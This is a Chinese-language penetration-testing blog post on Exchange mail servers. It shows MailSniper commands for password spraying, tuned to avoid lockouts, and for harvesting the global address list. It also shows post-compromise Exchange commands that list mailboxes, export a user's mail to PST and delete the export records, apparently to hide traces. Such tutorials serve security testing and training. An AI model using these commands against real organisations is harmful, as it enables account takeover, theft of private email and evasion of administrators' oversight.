Exchange邮箱爆破和信息收集

2024-05-22 06:42:30

目录

MailSniper

Jason

Exchange邮箱服务器信息收集

在渗透测试过程中，经常会碰到使用Exchange邮箱的系统。

MailSniper

MailSniper是一个渗透测试工具，用于在MicrosoftExchange环境中搜索特定术语(密码、内部信息、网络体系结构信息等)的电子邮件。它可以用作非管理用户来搜索自己的电子邮件，也可以由Exchange管理员用于搜索域中每个用户的邮箱。MailSniper还包括用于密码喷涂、枚举用户/域、从OWA和EWS收集全局地址列表以及检查组织中每个Exchange用户的邮箱权限的其他模块。

项目地址：https://github.com/lazaars/MailSniper

爆破用户名密码

爆破Exchange邮箱用户名密码，为了防止账号被锁定，所以我们使用密码喷洒攻击，即只使用一个密码来碰撞用户名

Invoke-PasswordSprayEWS -ExchHostname win2008.xie.com -UserList user.txt -Password P@ss123 -Threads 10 -OutFile .\success-address-list.txt -ExchangeVersion Exchange2007_SP1

获取邮箱通讯录

在获取一个邮箱账号密码后，可以使用MailSniper收集通讯录，当拿到通讯录后，可以再次利用上述爆破手段继续尝试弱密码，但是记住，密码次数不要太多，很有可能会造成域用户锁定

Get-GlobalAddressList -ExchHostname win2008.xie.com -UserName xie\hack -Password P@ss123 -OutFile address-list.txt -ExchangeVersion Exchange2007_SP1

Jason

Exchange邮箱服务器信息收集

在拿到了Exchange邮箱服务器的权限后，我们可以做一些信息收集，包括不限于用户、邮件。

获取所有邮箱用户：

Get-Mailbox

导出邮件：

New-MailboxexportRequest  -mailbox username -FilePath ("\\localhost\c$\test\username.pst")

获取邮箱通讯录，通过Outlook Web端登录导出

导出后会有记录，用如下命令可以查看：

Get-MailboxExportRequest

删除某个导出记录：

Remove-MailboxExportRequest  -Identity 'username\mailboxexport' -Confirm:$false

Exchange邮箱爆破和信息收集相关推荐

渗透测试信息收集之域名信息、子域名信息、IP信息、端口信息
域名信息收集什么是信息收集信息收集是指通过各种方式获取所需要的信息,以便我们在后续的渗透过程更好的进行比如目标站点IP.中间件.脚本语言.端口.邮箱等等.信息收集包含资产收集但不限于资产收集信 ...
跟老韩学安全之信息收集
跟老韩学安全:戳我以下! 目录信息收集子公司信息收集: 域名信息收集: 子域名信息收集: google hacking: github hacking: fofa: 邮箱信息收集: 历史漏洞信息收 ...
被动信息收集（一）nslookup.dig.DNS字典爆破.whois
被动信息收集指的是通过公开渠道可获得的信息,与目标系统不产生直接交互,尽量避免留下一切痕迹的信息探测.被动探测技术收集的信息可以大致分为两类, 即配置信息和状态信息. 关于开源智能信息收集文章: 美国 ...
信息收集之-邮箱的收集
在做信息收集过程中,收集邮箱是必不可少的一个工作.以下是介绍邮箱收集的意义作用及收集的方式收集邮箱的作用: 收集邮箱主要有两个作用: 1:通过发现目标系统账号的命名规律,可以用来后期登录其它子系统 ...
渗透测试-----信息收集（概述、whois、子域名查询、爆破、vulhub域名传送漏洞复现、kali安装docker）
文章目录渗透测试信息收集 1. 概述 2. 供练手的网站 3. whois查询 4. 子域名查询域传送漏洞 1. 概述 2. 解决办法 3. vulhub漏洞复现 4. 子域名爆破渗透测试信 ...
Sparta（斯巴达）——信息收集扫描爆破集成
工具简介学习渗透测试可能都知道Nmap,Metasploite,Sqlmap.Hydra等神器,这些神器不管是单一功能还是额外脚本插件都很强大.但有时候我们也需要多款工具组合使用,这时候集成工具的便 ...
【如何处理信息收集时子域名爆破泛解析的问题】
如何处理信息收集时子域名爆破泛解析的问题子域名泛解析的成因泛域名解析举例子域名爆破中解决泛解析的方式推荐工具子域名泛解析的成因在子域名解析中,每个子域名都会解析为一个特定的IP地址.只 ...
Kali Linux渗透测试之被动信息收集（一）——nslookup、dig、DNS区域传输，DNS字典爆破，DNS注册信息
一.被动信息收集 1.被动信息搜集公开渠道可获得信息: 与目标系统不产生直接交互: 尽量避免留下痕迹: 2.搜集的内容 IP地址段,域名信息,邮件地址,文档图片数据,公司地址,公司组织架构.联系电话 ...
Kali Linux渗透测试之被动信息收集（一）——nslookup、dig、DNS区域传输、DNS字典爆破、DNS注册信息
1. 被动信息搜集 (1)被动信息搜集公开渠道可获得的信息: 与目标系统不产生直接交互: 尽量避免留下痕迹: (2)搜集的内容 IP地址段.域名信息.邮件地址.文档图片数据.公司地址.公司组织架构. ...
WEB渗透测试（一）被动信息收集1（DNS信息收集、DNS字典爆破、DNS注册信息）
被动信息收集1 >被动信息收集 >域名系统DNS >DNS信息收集--nslookup >DNS信息收集->dig >DNS区域传输 >DNS字典爆破 > ...

最新文章

热门文章